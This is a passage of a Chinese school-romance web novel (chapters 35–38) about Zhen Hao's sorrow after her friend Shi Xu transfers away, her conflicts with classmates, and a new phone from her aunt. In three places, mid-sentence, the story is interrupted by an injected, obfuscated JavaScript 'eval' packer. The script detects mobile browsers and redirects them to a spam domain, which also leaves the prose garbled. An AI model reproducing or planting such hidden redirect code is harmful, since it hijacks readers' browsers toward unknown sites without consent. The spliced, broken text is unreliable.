她不知道这个暑假到底发生了什么，会让大人的决定来得这样突然。但她大概知道为何那晚的时序会如此难过，也明白少年身上那种仿佛被全世界抛弃了的无助感是从何而来。 甄好回到刺桐村的时候，时谙母子早就搬离了这里。 这一切的一切都是她从大人口中拼凑得知的。 也好，他们本来就不属于这里，离开了也好。 甄好这样安慰自己。 可内心深处那股说不清道不明的苦涩还是将她整个人重重地往下拉着，叫她做什么都心不在焉的。 时序母子搬去了哪里呢？ 她还能再见到时序吗？ 时序该不会转学吧？ 一个又一个问题盘旋在她的大脑中，每一个都没有答案。 开学第一天，上学路上又从三人行变成两人行，时序从此退出了单车队伍。 周淳芮自然也听说了他的事情，一路上都在跟甄好分享自己的所见所闻：“好好，你是不知道时阿姨搬走的前几天，给乡亲们都分了好大一包喜糖，好多都是我没见过的进口玩意儿。时序的新爸爸一定很有钱吧，买得起这么多这么贵的糖果……” 她絮絮叨叨了很多，甄好却只抓住了“新爸爸”这三个字。 时序一定很不习惯吧？ 他会不会偷偷躲起来哭？ ………… 因为周淳芮的一番话，甄好又想了很多很多。 见她没有反应，周淳芮忍不住问她：“你怎么不说话呀？” 她问完又很快反应过来：“哦，好好，你是不是舍不得时序那家伙？” 突然被戳中心事的甄好脸一下子就红了起来，但仍要嘴硬：“才没有，就是有点……不习惯。” “舍不得就舍不得嘛，还说什么不习惯？承认舍不得一个人不是什么丢脸的事。”周淳芮大大方方道，“我还真的挺舍不得时序那小子的……” “他们搬走了也好。”甄好有些落寞地说道。 “此话怎讲？”周淳芮不是很赞同，“他们搬走了我们就失去一个小伙伴了。以前还有云云，后来有时序那小子，现在两人好像都慢慢退出了我们的生活，这种感觉还挺不好受的……” 难得听周淳芮说这样的话，甄好忍不住侧头看了她一眼。 她说得对。 这种感觉真的挺不好受的。 但有些事实无法改变，只能接受。 “从时序一家搬过来的那天起，我就觉得他们不属于这里。”甄好目视前方，声音很轻，也不在乎周淳芮是否听到了。 随着距离学校越来越近，甄好的心情也越来越紧张。 虽然周淳芮说“承认舍不得一个人不是什么丢脸的事”，但她还是无法坦然地表达自己真正的情感，只敢顾左右而言他：“芮芮，你说时序的新……爸爸那么有钱，他会不会安排时序转学啊？” 闻言，周淳芮陷入思考，没有马上回答。 甄好也没有要等她回答的意思，又自顾自地说道：“你说，我们会不会再也见不到时序了……” 35. 没有少年在身边 2006年8月12日，离开甄好的第一天。 ——《时序日记》 来到熟悉的教室门口，甄好却不自觉地握住双肩包带子，心里生出紧张的感觉。 她有些不敢走进去，生怕见不到想见的人。 她也有些期待，期待很久不见的人。 一时之间，她无法判断自己是害怕见不到时序更多一些，还是期待见到师杭与更多一些。 “好好，你怎么不进来？”周淳芮先踏进教室，发现甄好没有跟上，好奇地回头问道。 甄好没说话，直接迈开步子。 当她整个人置身教室当中，目光最先扫去的方向是讲台桌的位子。 那里空荡荡的，没有时序的身影。 也许是还没到上课时间，他还没来吧。 甄好这样告诉自己。 她坐下后，又将视线投向师杭与的座位。 他和他的同桌裴小海都没有出现。 时阿姨跟裴小海的二叔结婚，那么在名义上，时序也就成了裴小海的堂哥。 裴小海或许知道点什么。 甄好强迫自己冷静下来，掏出英语书准备重温一下单词。 周淳芮却不给她机会冷静：“时序那小子该不会真转学了吧？” 她跟甄好一样，进门先看了一眼时序的座位。 鄢云书还没来，她只能转身和甄好说话：“他这么没良心的吗？竟然不说一声！” “还没上课呢，也许等下就来了。”甄好说这话既是安慰她也是在安慰自己。 “也是。”周淳芮喃喃。 这时，刚好鄢云书出现在教室门口，正朝座位走来。 “云云，你来啦！”周淳芮见到两个月不见的鄢云书，激动得不得了，“我想死你了。” 整个暑假，甄好去亲戚家帮工，鄢云书被关在家里学习，只有她无所事事，别提多无聊了。 还是上学好，有很多人可以一起吃饭一起玩。 在家里，哥哥和弟弟玩的她都不感兴趣。至于周父，人到中年迷上了钓鱼，她就更不感兴趣了。 她觉得自己这辈子都无法欣赏垂钓这种无趣的活动。 随着鄢云书的靠近，周淳芮很快发现另一个重点：“云云，你瘦了好多啊！羡慕死我了！你看我，都吃胖了，呜呜——” 鄢云书朝她勉强地笑了笑：“也没瘦多少。” 她不可能告诉周淳芮自己昨晚还在题海里奋战到半夜两点钟。 别人的暑假是天堂，她的暑假是渡劫。 她经常在想，如果不是鄢识的女儿就好了，或者，如果鄢识不是大学教授就好了，那她是不是也可以拥有轻松快乐的学习生活？ 答案未可知。 这一切不过是她在高压之下的妄想罢了。 她这辈子都是鄢识的女儿，鄢识大学教授的身份也永远不会改变。 上课铃声很快响起，将两人的对话硬生生终止。 甄好看着墙上指向七点钟的挂钟，心慢慢地沉了下去。 时序没有来上课。 “时序那小子真的没来。”趁老师还没来教室，周淳芮回头对甄好道。 “可能请假了吧。”甄好佯装不在意道。 安南有开学摸底考的传统，非特殊情况学生不许请假。 也许时序第二天就出现了吧。 甄好这么想着的时候，陈老师走进了教室，底下立刻变得一片安静。 收假的第一个晚自习，大部分同学都没收心，讲小话和传字条的人不在少数。 甄好坐在座位上，单词没背进去几个，目光不知往讲台旁的座位瞟了几次。 时序和裴小海都没来上晚自习，这让她的心稍微安了一些。毕竟堂兄弟俩一起请假的概率还是很高的，虽说他们不是真正的堂兄弟。 整个晚自习，甄好的心都摇摇欲坠的，觉得浑身难受。 翌日。 开学摸底考试第一天，全校都在原班进行。 走进教室前，甄好满怀希望能见到那个少年。 可惜事实让她失望了。 讲台旁的那个座位依旧空荡荡的。 时序还是没有出现。 但裴小海来了。 一种不祥的预感从她心中升腾而起。 然而紧凑的考试节奏让她无暇思考太多，等彻底从题海中解脱已经是开学第二天的晚自习，却依旧不见时序的身影。 她刚坐下，就听到裴小海的大嗓门：“时序老兄转学了啊，你不知道吗？” 他是对着师杭与说的。 甄好猜测应该是师杭与问起裴小海时序的踪迹，只不过可能他声音比较小，她没听到。 听到裴小海的话，甄好心里那点希望之火彻底被浇灭，双肩瞬间塌了下去。 她顿时感觉浑身无力，干脆侧趴在桌子上，双目无神地盯着窗外。 周淳芮也听到了裴小海说的，立刻转头对甄好说：“时序那小子真的转学了！竟然真的不告诉我们，他联系不到你还不知道联系我吗？气死了！” 甄好没有买手机，但她有啊！ 时序是有她的联系方式的，不知道叫她转达给甄好吗？ 周淳芮攥紧拳头，替甄好愤愤不平起来：“最好别让我再见到她，不然我一定揍他！” 周淳芮说了什么，甄好根本没心情听。 认识时序的这些年，她早就习惯他一直围绕在自己身边，猛地真正意识到他可能再也不会出现在自己身边了，她只觉得一颗心空荡荡的，像被人取走了一缕魂魄，怅然若失。 考试的第二天、第三天，甄好依旧觉得时序转学这件事像是在做梦，怎么想都不真实。 考完试的那个晚自习，陈老师抱着语文试卷走进教室。 甄好依旧是语文课代表，被叫上去分发试卷。 走到讲台旁时序的座位，她的目光在课桌上流连了一秒才接过陈老师手上那摞厚厚的试卷。 也是此时此刻，甄好才真的接受时序转学了这件事。 而陈老师接下来的话，更加让她直面这个事实。 陈老师对她说：“甄同学，你调整一下座位，坐到讲台边来。” 她下意识地问：“怎么了？” “是这样的，咱们班来了一个转学生。”陈老师说着看向喻玲，“我安排她跟喻玲同学同桌，你们都是转学过来的，有个照应。” 对此，甄好和喻玲都没有提出异议。 只有周淳芮哀号道：“不要啊，我的好，我舍不得你离开我……” 她夸张的表情和语气逗笑了甄好，因为时序转学而产生的郁闷之情也消散了不少。 就这样，甄好继承了时序的座位。 坐在他的座位上，她有种奇妙的错觉。好像少年在另一个时空里相同的座位上，与她听着相同的二次函数和化学方程式。 她的日记本，683同学出现的次数越来越少，渐渐被sx这两个字母占据。 某天晚自习下课，甄好照常收拾着桌面，准备去秋先生那里学习南音。 她低头检查笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646831|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋时，忽然感觉一道阴影覆盖了下来。 她动作一顿，下意识地抬头看去。 少年居高临下地看着她，脸上是她从未见过的冰冷，甚至有些……失望？ 他失望什么？ “师……师杭与同学？”他突然靠这么近，甄好有些紧张起来，“怎么了？” 彼时教室里已经没有人，周淳芮和鄢云书说要先去一趟厕所，等下三人在校门口集合。 “甄好同学，我不欠你什么了。”师杭与的语气和神态都矛盾不已，“也请你今后，不要再管我的事。” “不要再管你的事？”甄好觉得莫名其妙，“什么事？” “你做了什么你自己心里清楚，我也不想再多说了。”师杭与平生最看不起打小报告之人，“总之，这件事到此为止。” 他原本还以为冤枉甄好一事而内心备受折磨，可她竟然向年级长污蔑他跟隔壁班的班花谈恋爱……如此一来，他心里那点愧疚之情顿时消散得无影无踪。 他不欠她什么了。 甄好被说得一头雾水。 然而少年说完这些转头便走，丝毫没给她解释的机会。 她张了张嘴，想叫住他，却发觉自己无从辩驳。 她连他说的是什么事都不知道，该从何说起。 她甚至问都不想问，因为在那一瞬间，她忽然觉得一切都好没意思。 第二天，甄好刚走进教室，就迎面碰上准备出去的裴小海。 他略显厌恶地看了她一眼，然后轻飘飘地说了三个字：“告状精。” “你说什么？”甄好怀疑自己听错了。 “我说——”裴小海一字一字地说道，“告——状——精，这下听清楚了吗？” “告什么状？我没有……” 甄好的反驳被裴小海打断：“别装了，喜欢我们杭与也用不着冤枉他跟隔壁班的班花谈恋爱吧？害他被年纪长请去听政治课，还要叫家长。怎么会有你这么讨人厌的告状精？！” “我没有……”甄好一急就满脸通红，连声音都哽咽起来，“不是我做的……” “还说不是你做的？都证据确凿了。”裴小海冷哼一声，“再说了，不是你做的你脸红什么？摆明了就是心虚。” 被他这么一通说，甄好不仅脸红了，连眼睛都红了。 她根本说不过他，也不想让他看见狼狈的自己，便垂下了头，再没说一句辩驳的话。 倒是一道凶巴巴且不耐烦的声音响了起来：“裴小海，你说谁告状精呢？” “还能说谁？谁是就说谁咯。”裴小海字字没提甄好的名字，可说话的眼神和朝向无一不是在说告状精就是甄好。 “放你娘的狗屁！”宋景直接骂骂咧咧，“甄同学怎么可能是告状精？你再这么叫她，信不信我揍你？” “哎哟，景哥，你这么紧张她该不会是……”裴小海贱嗖嗖地假意躲避，又刻意没把话说完整。 “你想什么呢？”宋景虽然嘴上不承认，通红的耳尖却悄然昭示着什么，“我只是觉得同学之间要团结友爱，互帮互助，更何况人家是女孩子，你这么欺负一个女孩子要不要脸啊？” “好好好，怕了你了，我不要脸，我不要脸。”说完，裴小海便从后门溜了。 甄好感激地看了一眼宋景，并轻声说道：“谢谢你，宋同学。” 宋景不好意思地挠了挠头，嘿嘿笑道：“客气什么？你给我讲题我还没有报答你呢……” 两人都没看到的是，喻玲看着这一幕，眼里几乎要喷出火来。 36. 越来越远的距离 与好好分开的第一百二十五天，想见她。 ——《时序日记》 甄好换座位，有人欢喜有人愁。 愁的是周淳芮和喻玲，欢喜的是宋景。 周淳芮是因为与好朋友的物理距离变远了，喻玲则是单纯嫉妒甄好离宋景更近了。 至于宋景，他做梦都没想到时序转学后，自己可以天天看到甄好，而且不必刻意往后排走。他每时每刻都可以借由看黑板的时候，悄悄看一眼少女挺拔的背和漂亮的后脑勺。 一想到这个，宋景就开心得整天咧着大白牙笑，开心得见谁都格外顺眼。 至于甄好，比初一更认真地投入学习当中，学习成绩一提再提，几乎次次稳坐年级前三。 她和鄢云书还有师杭与，成为角逐前三名的最有力对手。 时序不在身边的日子，时间好像过得又快又漫长，平安夜的到来仿佛一眨眼的事情。 班里的同学们都在互送苹果，长得好的诸如喻玲和师杭与还会收到别班的人送来的包装得精美无比的平安果。 俊男美女总是容易招来目光聚集，也容易惹人艳羡。 这是甄好过的第二个平安夜，在上初中之前，贫瘠的山村学校根本没有这种浪漫。 她也期待能够在这特别的日子里能够收到意想不到的惊喜，可惜没有。 像往年一样，她分别收到了来自周淳芮和鄢云书亲手包装的苹果。而她也提前准备了两个苹果，互赠礼物的环节与上一次无异。 非要说有不一样的地方，那便是—— “云云，你为什么准备了三个苹果？”周淳芮瞪大眼睛看着鄢云书手里剩余的一个，“说，你是不是在外面有了别的野女人了？！” 鄢云书脸颊上飘过一抹绯红，微微垂下头，略显羞赧道：“没有啦，就是之前有个人帮了我一个很大的忙，我想谢谢他。” 其实这个之前是很久以前了，时间可以追溯到初一开学第一天。 那时，她刚走完新生报到流程，陪她来报到的人是特地向医院请了一天假的许君瑶。 她想上厕所，许君瑶又在跟一个校领导模样的人说着话，她只好独自去寻找厕所的方位。 由于路不熟，她走着走着竟然迷路了。 生性安静的她一开始没有选择询问他人，只想着碰碰运气，说不准没走两步就找到了，谁知她还是高估了自己的方向感。 就在她焦急不已之际，有道好听的男声在耳畔响起：“请问，你是需要帮忙吗？” 看她左顾右盼，一脸着急的模样，贺知勋没忍住主动开口问道。 “啊？”鄢云书先是一愣，而后重重地点头，“嗯，我想知道……知道厕所怎么走……” 她实在是急得不得了，早已顾不上对方是谁，说完意识到对方是男生后脸还是不可抑制地红了起来。 贺知勋则显得镇定自若，他伸手指了指厕所的方向：“看到那个小卖部没？厕所就在那边。” 鄢云书朝着他手指的方向看去，却一脸茫然：“小卖部？” 少年轻哂，有些无奈地摇了摇头，继而温声道：“我带你过去吧。” 她却扭捏起来：“这……这不太好吧？” “我正好去小卖部买瓶水。”贺知勋假装没听到她的话，“你就跟在我后面吧，到小卖部了你就知道怎么走了。” 鄢云书十分感激他的善解人意，眼睛顿时笑成弯弯的月牙：“好啊，谢谢你，同学。” 等她解决完人生大事出来后，发现那个男生正站在不远处。 见到她，他朝她微微笑了笑。 鄢云书这才真正看清男生的长相——个子瘦高挺拔，一副斯文俊秀的模样。 这便是她和贺知勋的初识。 而这件事她从未跟任何人提起过。 后来知道少年名叫贺知勋，就读她的隔壁班——初一（12）班。 在一次次不言语的偶遇中，她渐渐将这个少年放在了心上。 最后慢慢演变成一种她自己也说不上来的情感。 甄好和周淳芮听完后，决定放学陪她去送苹果。 第三节晚自习下课时，甄好揉了揉写作业写到酸痛的右手，余光瞥见一道身影快速走上了讲台。 她还没反应过来，便听到有些熟悉的声音响起：“好好，平安夜快乐。” “你……你……”甄好抬头看到林免那张褪去了些许稚嫩，如今变得更加好看的脸，一时语无伦次起来。 说来奇怪，明明被男生执着地追求应当是一件让人觉得开心的事情，可甄好偏偏讨厌极了从小学就追着自己不放的林免。 从撕掉那封没看完的情书开始，她再也没给过林免好脸色。 包括后来她和林免一起被小学班主任选做朗诵比赛的两个领诵人，她都因为厌恶搭档而险些搞砸了比赛。 小学毕业照片下发的第一时间，她就用涂改液将林免的头涂得严严实实，才将照片收起来。 上了初中后，林免仍然我行我素，没少叫相熟的小学同学给她递信，但通通被她撕得粉碎。 她对林免的厌恶与日俱增，甚至到了光听到他的名字都觉得眉头一皱，对方却依旧穷追不舍。 甄好看着那张自己讨厌了多年的脸，一股怒火直冲脑门。 可不等她说什么，对方就将一个包装得精致漂亮的苹果递给她，外加一张看起来有些粗糙的贺卡。 林免说：“好好，这是我千挑万选的、整条英东街上最漂亮的苹果，还有……” 说到这里，他顿了顿，耳尖有些红：“这是我亲手做的贺卡，有些丑，送给你，希望你喜欢。” 他说话的音量正常，前排的同学都听到了，有几个没忍住轻笑出声。 裴小海更是大声起哄：“哦哟，没想到告状精也有人喜欢啊。” “裴小海。”师杭与的声音不大不小，却成功让裴小海住了嘴，也成功让甄好整个人弹了起来。 她感觉自己的脸烫得快要烧起来，不知是因为林免的公开示好还是因为裴小海的调侃，又或者是因为被师杭与看到了这一幕，总之，她此时此刻很想从这个地球上消失。 甄好一把抓过林免手中的两样东西，然后快步走上讲台。 见她接受了自己的礼物，还朝自己走来，林免的脸上满是惊喜之情。 然而惊喜不过五秒，他很快颓丧着一张脸。 甄好径直越过他，走向垃圾桶。她先是将苹果重重地丢进垃圾桶，又把贺卡撕成四片，狠狠地扔在林免脸上。 “林免，我求你放过我好吗？”甄好说出的每一个字都像淬了毒， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651168|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀死了一颗少年心，“我求你不要缠着我了，你看不出来我很讨厌你吗？” 她话音落地，班里顿时鸦雀无声，落针可闻。 林免整个人愣在原地，惨白着一张脸，嘴巴张了张，又闭上，最后一个字也没有说。 他缓缓地蹲下身，捡起掉落在地的贺卡碎片，又缓缓地起身，看了一眼面前的甄好，最后缓缓地转身，缓缓地走出（11）班的教室。 这一幕像电影放了慢动作，清晰又深刻地印在甄好的脑海里。 她忽然感受到少年庞大得像末日海潮的悲伤，也突然无比讨厌这样恶毒的自己。 在林免出去后，甄好也跟着冲出了教室。 她不是去找林免，而是一个人跑到了后山，躲起来狠狠地哭了一场。 她觉得自己好坏，像电视剧里讨人厌的女二，也像童话故事里作恶的女巫…… 她怎么可以这样伤害一个喜欢自己多年的人，怎么可以…… 从平安夜那天过后，林免真的再也没有纠缠过甄好。 她感到松了口气的同时，也越来越愧疚。就在她想找个机会向林免道歉时，却得知他已经一周没来上课了。 回宿舍的路上，她满腹郁闷想着林免的事情时，周淳芮说着她听来的八卦：“好好，没想到时序不是多了个后爸，而是回到他亲爸身边了！” “什么意思？”甄好有些没听明白。 “意思就是……”周淳芮选择用最直白的话语进行解释，“跟时阿姨结婚的那个叔叔原来就是时序十几年没见的亲生父亲！” 闻言，甄好猛地停下脚步。 “真是让人没想到。”一向对八卦不甚感兴趣的鄢云书也忍不住感慨道。 “还听说时序的爸爸非常有钱，是闽市数一数二的豪门。”周淳芮接着说，“看来时序那小子应该是转到什么贵族学校了吧。没想到我们的同学里还藏着这种隐形富二代啊，真是小说照进生活啊。” 她这些八卦都是从裴小海那里听来的。 裴小海身为裴家人，家底自是不错，说是含着金汤匙出生也不为过。 周淳芮对他提出过疑问：“你家这么有钱，干吗来这里读书？” 裴小海回答得理直气壮：“我乐意，你管得着吗？” 周淳芮“切”了他一声。 “挺好的。”甄好重提步子，淡淡地说了三个字。 除了她自己，没人知道她此时的心情只有“讽刺”两个字。 从前，时序是长在小山村里的少年，甄好因为想走出困住自己童年的地方，拼命告诉自己，时序只能做她永远的好朋友。 后来，她遇到了像光一样耀眼，也像风一样随性的师杭与，他成了她情窦初开时的683同学。 再后来，时序从落魄的小少爷摇身一变，回到他光怪陆离的有钱人世界中…… 她和他，到底是越走越远。 他们之间甚至连最好的朋友都做不成。 阶层不同的两个人，不管是什么关系，都注定无法长久。 圣诞节过后，很快迎来元旦假期。 甄好带着一肚子心事回到了家。 “阿姐，你回来啦。”迎接她的总是笑得一脸天真的甄美。 可这次不同，迎接她的，除了甄美，还有另一个人。 37. 不是一个世界的 我想快快长大，长成可以坚定站在你身边的大人模样。 ——《时序日记》 “温柔小姑！”看见甄温柔的一瞬间，甄好原本灰暗的眸子瞬间亮了起来。 彼时的甄温柔已经成功离婚，但不常回家。 离了婚的她看起来容光焕发，竟是比之前还要漂亮明媚。 “快看温柔小姑给你带了什么礼物？”甄温柔摇晃着手中的小盒子。 “阿姐，小姑特地等在这里，说要让你一进家门就看到惊喜。”甄美也十分好奇甄温柔手里的盒子里装的是什么，“我也想看！” 因为激动，更因为开心，甄好的脸红扑扑的。 她心里有个猜测，猜到那个盒子里装的是她梦寐以求的物品。 甄温柔郑重地将盒子递到她手上，眼里满是温柔：“好好同志，元旦快乐。” “谢谢温柔小姑！”甄好满怀期待，在两双眼睛的注视下，珍而重之地打开礼盒。 随着小巧的机身展现在眼前，甄好姐妹俩同时瞪大了眼睛。 “是手机！”甄好抑制不住内心的喜悦，大叫出声。 她抚摸着那个她见过无数次的logo，不敢相信自己真的能够拥有，但她很快冷静下来：“温柔小姑，这真的是卖给我的吗？一定很贵吧，我不能……” 她没说完的话被甄温柔打断：“好好，没什么能不能的。你还不了解小姑吗？小姑就喜欢宠着咱们女孩子，不仅好好有，等阿美将来长大了，也会有。别人家小姑娘有的，咱们甄家的小姑娘也得有。” “谢谢温柔小姑。”连日来的委屈和难过在这一刻仿佛找到了出口，甄好再也忍不住，整个人扑到甄温柔怀里，热泪随之淌了下来。 小姑像一道光，照亮了她黑暗的前路，叫她找到了方向。 她要向小姑学习，学着爱人，学会洒脱，也学会勇敢。 但她很快想到了其他问题：“可是我爸妈……” 他们不会给她交话费的，她自己又没有能力…… “嘘——”甄温柔竖起一根手指横在唇上，“他们现在不在家，我还没告诉他们。” 她了解自己大哥和嫂子的性格，他们断然是不会同意甄好使用手机的。 但她也有过青春，她知道这个年龄阶段的女孩子想要什么，羡慕什么，她从前无法拥有，就想让小甄好不留遗憾。 “咱们三个拉钩——”甄温柔伸出小拇指，“让手机这件事成为我们之间的小小秘密好不好？” “好呀。”甄美最喜欢阿姐和小姑了，她们说什么她都听，她跟着伸出小拇指，“拉钩，一百年不许变！” 一大两小三个女孩拉完钩，看着彼此笑弯了眼睛，就如天边边渐渐勾出轮廓的月牙。 手机是当时很流行的诺牌5200，红白相间的滑盖款智能机。 班里有大半同学都拥有了智能机，只有甄好一直守着初一刚入学那个省吃俭用买下来的MP3。 当晚，甄好的日记本多了一条：2006年12月31日，收到温柔小姑买的诺牌5200手机一部，以后长大了要给温柔小姑买更贵更好的手机。 郑重地写完这段话后，甄好将日记本翻到最后一页，首先把平时用笔记下来的周淳芮和鄢云书的手机号码小心翼翼地输入到手机里存起来。 她虽然自己没有手机，但为了在论坛上发表小说，常常需要借用周淳芮的智能手机，所以在操作上早就轻车熟路。 她本想给她们两人分别发送一条短信告知自己的手机号码，可一想到现在的手机卡和月租费用都是小姑帮她付的，她就舍不得。 一条一毛钱的短信，这在她看来是十分奢侈的支出。 但上网就不一样了。 于是吃过晚饭，姐妹俩早早就躲进屋子里研究起了新玩具。 甄好下载了手机□□软件，从下载到安装再到登录，她的手指都微微湿润，紧张和期待让她忍不住手心冒汗，像是在对待一件极其庄重的大事。 “阿姐，我也想要一个□□号。”甄美眨巴着大眼睛，满脸写着渴望。 甄好二话不说答应了：“等上电脑课的时候我给你申请一个。” “好呀，谢谢阿姐。”甄美满足地眯起眼睛笑。 周淳芮给甄好申请过一个□□号，只是没什么机会登录。 她登录□□，给周淳芮和鄢云书发消息的时候仍旧觉得有些梦幻。 她真的拥有自己的手机了吗？ 这一切太不真实了。 周淳芮是五分钟后才看到甄好发的群消息的。 好什么好；“芮芮、云云，晚上好。” 她惊讶得瞪大眼睛，立刻回复：“好好？你是本人吗？别是号被盗了啊……” 但她很快收到了回复—— 好什么好：“咚咚咚咚——” 周淳芮看了眼睛一亮，这是她们三个人之间的暗号，是甄好本人没错！ 两人在群里聊了一条又一条，却始终没看到鄢云书上线。 淳芮不纯：“云云肯定又在做题。” 好什么好：“我也觉得。” 淳芮不纯：“明天就是2007年的第一天了，初二上学期又快结束了。” 好什么好：“好想跟你们一起过节。” 淳芮不纯：“对了，你有新手机了，那你有没有联系时序那小子啊？” 突然看到时序的名字，甄好打字的手微顿，继而抬头看了一眼卧室那扇小小的窗户。 那里再也没响起被小石子击中的声音。 她有时候会产生幻听，觉得自己听到了独属于和少年之间的暗号，可等她满心期待地跑出去，外面总是空荡荡的。 再也没有少年在那里等她。 甄好回复了“没有”两个字后突然觉得没劲，好心情一寸一寸地消失，也没了聊天的欲望。 其实使用手机的第一时间，她真的想过给时序发短信。可一想到他不但不辞而别，并且明明有联系方式却一句话也没有留，她就觉得心里憋着一口气。 他不找他，她凭什么巴巴地去找他？ 说不定人家现在做惯了有钱人家的少爷，已经不屑跟他们这些普通小市民做朋友了呢？ 甄好恶毒地如是想着，同时也决定坚决不主动联系时序。 就在她想事情想得出神的时候，手机轻轻振动了一下。 淳芮不纯：“好好啊，其实我一直想问你一个问题。” 好什么好：“你问。” 淳芮不纯：“那我真问了啊？” 淳芮不纯：“问了下周你可不能打我。” 好什么好：“不打，问吧。” 淳芮不纯：“你是不是喜欢时序那小子啊？” 甄好看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657770|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个问题心狠狠一跳，继续脸颊有些热。 她答非所问：“为什么这么问？大家明明都说我喜欢师杭与。” 就连她自己也是这么认为的。 在线上聊起这些少女心事，她没有面对面那样拘谨，想到什么就说什么。 淳芮不纯：“因为我比较看好你和时序。” 面对周淳芮的回答，甄好有些恍惚，半晌都没回复。 周淳芮很快追问：“所以你到底是不是喜欢时序呀？” 喜不喜欢时序…… 甄好猛地想起初一下学期，某次月考结束，班主任兼年级长陈老师叫了几位学生帮忙批改试卷，最后确定下来的四个人是她们三个女生加上一个时序。 全校一千多名学生，年级组又要高效完成阅卷，经常会有找学生辅助的情况。 当时批改到时序的试卷时，看到他有道填空题没做对，导致数学成绩没上140分，好学生甄好突然起了一个坏念头——帮他改答案，加分数。 就在她趁老师出去喝水之际，准备将时序错误的答案11改成14时，少年却忽然出现在她身后，语气幽幽的：“好好，你是不是喜欢我？” “为……为什么这么问？”感受到脖颈染上少年呼出的热气，甄好顿时浑身僵硬，笔尖远在半空，再没了下一步动作。 “好学生帮我改答案和分数，不是喜欢我是什么？”时序的眼神玩味十足。 甄好因为背对着他，并未看到他渐渐变红的耳尖。 像是要自证什么，甄好猛地转身面对少年，两人的距离也因此拉得更近。 在逼仄的教师办公室，在两颗心怦怦直跳的氛围里，时序红着脸将少女逼至墙角，像非要得到一个什么答案，又问了一遍：“好好，你真的不是喜欢我吗？” 甄好被问得大脑一片空白，根本不敢直视他的眼睛。 她想推开他，与他拉开一点距离，慌乱之下却演变成她自己都想不到的结果。 她没有推开少年，而是凑近他，轻轻地在他脸颊上亲了一下。 时序没想到她会有如此动作，一时嘴巴微张，僵在原地。 他还没来得及狂喜，他听见少女略显冷淡的声音：“时序，我确定，我不喜欢你。” 没等他说什么，她又残忍地补充了一句：“因为喜不喜欢一个人，心跳会告诉我答案。我的心没有因为你而跳快，所以我不喜欢你。” 甄好撒下这个青春最大的谎言后，看到少年眼里的光一点一点地暗了下去。 但当时的她一点都不后悔。 因为她不想一辈子困在那个小山坳里，她不想接受奶奶口中“早早嫁人”的命运，所以她不断地告诉自己，“一辈子的好朋友”是她与时序之间最适合的关系。 看着周淳芮的问题，甄好苦笑一声，而后回复道：“芮芮，我们跟他不再是一个世界的人了。” 网络那头的周淳芮微微皱眉：“好好，你怎么小小年纪说话就老气横秋的了？什么叫不是一个世界的人，爱情不分贫穷富贵……” 甄好顾左右而言他地转移了这个话题：“哈哈，芮芮说得对。不知道云云今晚还会不会出现……” 单线思维的周淳芮很快被她带偏了：“对哦，云云怎么还没上线……” 命运好像总是爱跟人开玩笑，即将放寒假的那个期末复习周，甄好又出事了。 38. 满身荣光少了你 时间过去越久，我越不敢面对你。 ——《时序日记》 距离期末考试还有一周的某天，甄好收到了一条让她害怕到浑身发抖的陌生短信。 从看到第一行字，她就止不住地手脚冰凉，等硬着头皮看完所有内容，她脑子里只有一个念头——这件事要是闹到家长那里去她就死定了。 发短信的人，严格说起来她也认识，是林免的哥哥林海。 他在短信里洋洋洒洒写了一段话：“你就是我弟喜欢了很多年的那个女生吧？我弟离家出走了，我和家里人都很担心他。冒昧想请问你知不知道他去哪里了，如果知道烦请告诉我一下，谢谢。” 林海的语气和用词都谈不上强硬，但甄好就是没来由瑟缩着身子，不知所措。 她想问对方怎么会知道自己的手机号码，除了亲近的人，她没告诉过其他人。 有一天上午下了课，她一个人回宿舍。路过榕树林旁那个小篮球场时，一个在年级里出了名的问题学生拦住了她：“同学，可以给我你的手机号？” 她紧紧揣着校服口袋里的手机，一张脸很快涨红。 这是她第一次被男孩子索要联系方式，但她还是压下那股冲动，撒了个谎：“对……对不起，我没有手机。” 说完，她便埋下头，快步朝宿舍的方向小跑而去。 甄好盯着那条短信，越看心里越慌。 如果被学校和家长发现了，她不知道自己会怎么样，别人一定会误会她早恋，甚至会觉得她乱搞男女关系，如此一来，她很有可能连书都没得读…… 她胡思乱想着，额头的细汗出了一层又一层。 思索再三下，她给林免的哥哥回复道：“林海哥，林免没有联系我，我不知道他去哪里了，不好意思。” 她说的是实话。 消息发出去后，她接下来的时间都处于忐忑不安当中。 再收到林海的回信是在上完晚自习之后。 手机的振动声让甄好整个人瞬间僵硬。 连性格大大咧咧的周淳芮都发现了她的异样：“好好，你没事吧？” 甄好的脸色和嘴唇都有些苍白，但仍强撑着摇了摇头：“我没事。” 